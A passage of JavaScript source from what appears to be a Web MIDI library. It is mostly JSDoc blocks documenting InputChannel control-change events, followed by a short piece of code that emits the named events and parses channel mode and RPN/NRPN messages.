*\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-soundvariation** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-soundvariation\n *\n * @type {object}\n * @property {string} type `controlchange-soundvariation`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-resonance** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-resonance\n *\n * @type {object}\n * @property {string} type `controlchange-resonance`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-releasetime** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-releasetime\n *\n * @type {object}\n * @property {string} type `controlchange-releasetime`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-attacktime** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-attacktime\n *\n * @type {object}\n * @property {string} type `controlchange-attacktime`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-brightness** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-brightness\n *\n * @type {object}\n * @property {string} type `controlchange-brightness`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-decaytime** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-decaytime\n *\n * @type {object}\n * @property {string} type `controlchange-decaytime`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-vibratorate** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-vibratorate\n *\n * @type {object}\n * @property {string} type `controlchange-vibratorate`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-vibratodepth** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-vibratodepth\n *\n * @type {object}\n * @property {string} type `controlchange-vibratodepth`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-vibratodelay** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-vibratodelay\n *\n * @type {object}\n * @property {string} type `controlchange-vibratodelay`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-generalpurposecontroller5** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-generalpurposecontroller5\n *\n * @type {object}\n * @property {string} type `controlchange-generalpurposecontroller5`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-generalpurposecontroller6** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-generalpurposecontroller6\n *\n * @type {object}\n * @property {string} type `controlchange-generalpurposecontroller6`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-generalpurposecontroller7** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-generalpurposecontroller7\n *\n * @type {object}\n * @property {string} type `controlchange-generalpurposecontroller7`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-generalpurposecontroller8** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-generalpurposecontroller8\n *\n * @type {object}\n * @property {string} type `controlchange-generalpurposecontroller8`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-portamentocontrol** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-portamentocontrol\n *\n * @type {object}\n * @property {string} type `controlchange-portamentocontrol`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-highresolutionvelocityprefix** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-highresolutionvelocityprefix\n *\n * @type {object}\n * @property {string} type `controlchange-highresolutionvelocityprefix`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-effect1depth** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-effect1depth\n *\n * @type {object}\n * @property {string} type `controlchange-effect1depth`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-effect2depth** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-effect2depth\n *\n * @type {object}\n * @property {string} type `controlchange-effect2depth`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-effect3depth** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-effect3depth\n *\n * @type {object}\n * @property {string} type `controlchange-effect3depth`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-effect4depth** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-effect4depth\n *\n * @type {object}\n * @property {string} type `controlchange-effect4depth`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-effect5depth** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-effect5depth\n *\n * @type {object}\n * @property {string} type `controlchange-effect5depth`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-dataincrement** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-dataincrement\n *\n * @type {object}\n * @property {string} type `controlchange-dataincrement`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-datadecrement** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-datadecrement\n *\n * @type {object}\n * @property {string} type `controlchange-datadecrement`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-nonregisteredparameterfine** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-nonregisteredparameterfine\n *\n * @type {object}\n * @property {string} type `controlchange-nonregisteredparameterfine`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-nonregisteredparametercoarse** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-nonregisteredparametercoarse\n *\n * @type {object}\n * @property {string} type `controlchange-nonregisteredparametercoarse`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-registeredparameterfine** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-registeredparameterfine\n *\n * @type {object}\n * @property {string} type `controlchange-registeredparameterfine`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-registeredparametercoarse** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-registeredparametercoarse\n *\n * @type {object}\n * @property {string} type `controlchange-registeredparametercoarse`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-allsoundoff** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-allsoundoff\n *\n * @type {object}\n * @property {string} type `controlchange-allsoundoff`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-resetallcontrollers** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-resetallcontrollers\n *\n * @type {object}\n * @property {string} type `controlchange-resetallcontrollers`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-localcontrol** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-localcontrol\n *\n * @type {object}\n * @property {string} type `controlchange-localcontrol`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-allnotesoff** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-allnotesoff\n *\n * @type {object}\n * @property {string} type `controlchange-allnotesoff`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-omnimodeoff** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-omnimodeoff\n *\n * @type {object}\n * @property {string} type `controlchange-omnimodeoff`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-omnimodeon** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-omnimodeon\n *\n * @type {object}\n * @property {string} type `controlchange-omnimodeon`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-monomodeon** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-monomodeon\n *\n * @type {object}\n * @property {string} type `controlchange-monomodeon`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-polymodeon** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-polymodeon\n *\n * @type {object}\n * @property {string} type `controlchange-polymodeon`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n const namedEvent = Object.assign({}, event);\n namedEvent.type = `${event.type}-` + Enumerations.CONTROL_CHANGE_MESSAGES[data1].name;\n delete namedEvent.subtype; // Dispatch controlchange-\"function\" events only if the \"function\" is defined (not the generic\n // controllerXXX nomenclature)\n\n if (namedEvent.type.indexOf(\"controller\") !== 0) {\n this.emit(namedEvent.type, namedEvent);\n } // Trigger channel mode message events (if appropriate)\n\n\n if (event.message.dataBytes[0] >= 120) this._parseChannelModeMessage(event); // Parse the inbound event to see if its part of an RPN/NRPN sequence\n\n if (this.parameterNumberEventsEnabled && this._isRpnOrNrpnController(event.message.dataBytes[0])) {\n this._parseEventForParameterNumber(event);\n }\n } else if (event.type === \"programchange\") {\n /**\n * Event emitted when a **program change** MIDI message has been received.\n *\n * @event InputChannel#programchange\n *\n * @type {object}\n * @property {string} type `programchange`\n *\n * @property {InputChannel} target The object that 